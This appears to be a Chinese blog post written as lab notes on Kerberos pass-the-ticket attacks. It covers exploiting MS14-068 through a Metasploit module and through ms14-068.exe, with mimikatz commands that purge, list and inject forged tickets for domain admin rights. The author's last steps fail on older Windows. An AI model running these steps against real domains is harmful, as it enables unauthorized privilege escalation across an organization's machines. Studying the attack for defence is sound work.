域渗透之票据传递攻击(pass the ticket,ptt)

票据传递攻击(PtT)是一种使用Kerberos票据代替明文密码或NTLM哈希的方法。PtT最常见的用途可能是使用黄金票据和白银票据,通过PtT访问主机相当简单。

1.ptt攻击的部分

就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的

之前介绍了Kerberos协议具体工作方法:Kerberos认证方式,在域中,简要介绍一下:

  • 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
  • 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
  • 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
  • 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。

1.1 ms14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
在msf里也集成了ms14-068的利用操作
要想使用我们首先得:
1.域用户sid和域控主机名,
 
2.目标域名称
3.当前域用户账户和密码

 

 

然后再msf下
msf > use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

注意:这里的rhost设置成你想要假冒的域的主机名,一般是域控主机名
然后找到生成的文件,TGT凭单(具有特权PAC信息)已保存在中
这种格式非常有用,因为可以通过Mimikatz在Windows客户端上或在linux客户端上使用MIT kerberos导入
同时,可以使用mimikatz转换格式(任何mimikatz安装都可以完成工作,而无需成为域计算机或类似的东西):
注意:mimikatz不支持注入xp以及以下系统
在kail系统下还没有默认安装kerberos的认证功能所以我们首先要安装一个kerberos客户端:
apt-get install krb5-user
然后在目标靶机上传mimikatz和生成的bin文件,将我们生成的bin文件转换为.kirbi文件,然后再在通过kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
上传mimikatz:
上传bin文件:
 
mimikatz:
 
ok,导出的文件[email protected]现在可以用于kiwi meterpreter扩展名加载。首先需要在域计算机上进行会话,然后使用kiwi扩展名导入TGT票证:
返回到meterpreter,注意这里必须要有管理员权限才行。
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
运行load kiwi

 

将生成的kirbi下载回来到本地/tmp/文件夹内:(因为我kali上的kerberos安装有问题...)
download c:/wmpub/0-00000000[email protected] /tmp/

 

最后注入票据:
 
最后一步总是失败,可能是msf上mimikatz对windows2003的支持问题,下次在win7上试一下。
 

1.2 使用ms14-068.exe

除了使用msf配合mimikatz,还可以使用ms14-068.exe,全程在目标机上完成注入

1.2.1 使用whoami/user得到域用户的sid

1.2.2 执行payload生成TGT票据

    使用工具:ms14-068
    使用方法:
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
        运行:
MS14-068.exe -u xian.com -s S-1-5-21-3472572548-430068626-1276128607-1106 -d 192.168.5.2 -p xxx
如果操作正确,且域机器是可以和域控制器互通则会创建.ccache文件
当前目录下生成伪造的票据文件:

1.2.3 票据注入

     使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
        mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 
        mimikatz # kerberos::list //查看当前机器凭证 
        mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

显示错误
经过上面实验,和网上资料,域成员主机如果为windows xp或windows server 2003,是无法正常伪造票据的
 

 

 

 

猜你喜欢

转载自www.cnblogs.com/Xy--1/p/12231747.html